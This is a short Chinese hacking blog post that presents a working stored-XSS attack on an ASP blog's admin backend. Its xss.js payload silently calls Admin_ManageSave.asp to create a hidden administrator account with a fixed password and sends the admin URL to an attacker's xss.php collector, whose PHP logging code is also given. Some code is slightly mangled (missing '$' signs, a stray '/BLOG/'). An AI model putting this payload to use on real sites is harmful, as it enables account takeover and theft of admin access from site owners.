作者:痛苦的信仰 来源:http://hi.baidu.com/ylbhz
这个漏洞我发现久了,今天找漏洞资料的时候无意间翻出来的(主要找一个日本程序的漏洞记录,想和mickey兄共日的)
不管你对后台有什么样的操作,都会弹出操作成功的字样,呵呵。我不喜欢废话,直接看xss.js Code: var url = document.location.href; //获取当前浏览器URL,其实是获取后台地址 var record = "http:\/\/localhost:8080\/xss.php?url="+url; //将url发送给xss
url = url.substring(0,url.lastIndexOf("/"))+"\/Admin_ManageSave.asp"; //通过当前url找到添加管理员的地址 url += "?username=2y30r&password=123456"; //构造url
posturl(/BLOG/url); //调用loadxml控件后台发送数据,攻击! posturl(record); //发送url到个xss.php
function posturl(/BLOG/url) { var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.async=false; xmlDoc.load(url); } 没有弹框,因为数据发送后台异步完成(如果读者有兴趣可以参考Ajax的教程),但是也成功利用了xss,杀人于无形。另两问题是没有使用ajax的标志xmlhttp控件,而且代码不通用于firefox。 关于第一个问题,是个人认为xmldom在这里代码要简洁得多。第二个问题,这个只供学习使用,关于浏览器类型检测,然后调用不同的组件这个很容实现。大家可以在w3cshool找到很多优秀的代码。 而这个xss.php干嘛,当然是把信息记录下来咯。当然你也可以改写他让他把地址发送到邮箱,如果有兴趣的同学可以完善下,我自己还有其他课题,可能没有时间为大家服务了。 Code: <?php url = _GET[’url’]; if (eregi("admin",url)) { f = fopen("xss.txt","a+"); fwrite(f,url."\r\n"); fclose(f); } ?> 当然xss远不就此罢休,给我印象比较深刻的是老外的一篇Xss function Hijack以及xss worm,想起自己从前在学习xss的过程中受益颇多,再次感谢老外的共享精神。 |